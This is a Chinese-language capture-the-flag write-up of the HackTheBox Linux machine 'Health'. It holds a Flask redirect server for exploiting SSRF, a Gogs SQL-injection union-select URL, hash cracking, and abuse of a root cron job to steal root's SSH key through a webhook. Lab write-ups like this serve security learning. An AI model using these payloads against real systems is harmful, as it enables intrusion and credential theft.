HackTheBox - Medium - Linux - Health

Health

Health 是一台中型 Linux 计算机,在主网页上存在 SSRF 漏洞,可利用该漏洞访问仅在 localhost 上可用的服务。更具体地说,Gogs 实例只能通过 localhost 访问,并且此特定版本容易受到 SQL 注入攻击。由于攻击者可以与 Gogs 实例交互的方式,在这种情况下,最好的方法是通过在本地计算机上安装相同的 Gogs 版本,然后使用自动化工具生成有效的有效负载来复制远程环境。在检索用户“susanne”的哈希密码后,攻击者能够破解哈希并泄露该用户的纯文本密码。可以使用相同的凭据通过 SSH 向远程计算机进行身份验证。权限提升依赖于在用户“root”下运行的 cron 作业。这些 cron 作业与主 Web 应用程序的功能相关,并处理数据库中未经筛选的数据。因此,攻击者能够在数据库中注入恶意任务并泄露用户“root”的 SSH 密钥文件,从而允许他在远程计算机上获得 root 会话。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

看起来就觉得可能存在SSRF,扫一下vhost

file

还有过滤

file

test

file

监听url会有一个get请求,当我断开nc之后,payload url又来了一个post

file

本地起个http server,当监听url访问过来的时候重定向到localhost

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def index():
    return redirect('http://127.0.0.1')

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8001)

这里一定要是always,否则payload url可能收不到post请求

file

可以看到响应,说明重定向成功了

file

接下来就可以爆破端口,找到内网的服务,为了方便直接wp跳过这些无聊的环节

3000端口有一个gogs

file

Foothold

谷歌能找到该版本似乎存在sql injection

file

poc:

http://127.0.0.1:3000/api/v1/users/search?q=')%09union%09all%09select%091,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%09--%09-

file

查数据

file

得到susanne的密码hash

file

在谷歌中能搜到gogs使用PBKDF2 + hmac + sha256

https://github.com/kxcode/KrackerGo/tree/master

这里也描述了如何利用它

将16进制转回去如何base64

file

将salt base64

file

hashcat

file

不出意外我们能够通过这种凭据登录ssh

file

本地权限提升

传个pspy

2024/01/17 15:29:01 CMD: UID=0     PID=4350   | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1 
2024/01/17 15:29:01 CMD: UID=0     PID=4351   | sleep 5 
2024/01/17 15:29:01 CMD: UID=???   PID=4354   | ???
2024/01/17 15:29:01 CMD: UID=0     PID=4352   | 
2024/01/17 15:29:01 CMD: UID=0     PID=4357   | grep columns 
2024/01/17 15:29:01 CMD: UID=???   PID=4356   | ???
2024/01/17 15:29:01 CMD: UID=0     PID=4355   | sh -c stty -a | grep columns 
2024/01/17 15:29:06 CMD: UID=0     PID=4358   | mysql laravel --execute TRUNCATE tasks 

从artisan跟到app/Console/Kernel.php

protected function schedule(Schedule $schedule)
    {

        /* Get all tasks from the database */
        $tasks = Task::all();

        foreach ($tasks as $task) {

            $frequency = $task->frequency;

            $schedule->call(function () use ($task) {
                /*  Run your task here */
                HealthChecker::check($task->webhookUrl, $task->monitoredUrl, $task->onlyError);
                Log::info($task->id . ' ' . \Carbon\Carbon::now());
            })->cron($frequency);

同时,在网站根目录下的.env文件中也包含了mysql的凭据

file

进到mysql后有个tasks空表,desc

file

应该就是之前的web,直接读root ssh key然后返回到我们的payload url

file

nc

file

sed将\n转义和去除多余的\

file

登root的ssh

file

file

其实也可以直接在tasks里读root flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值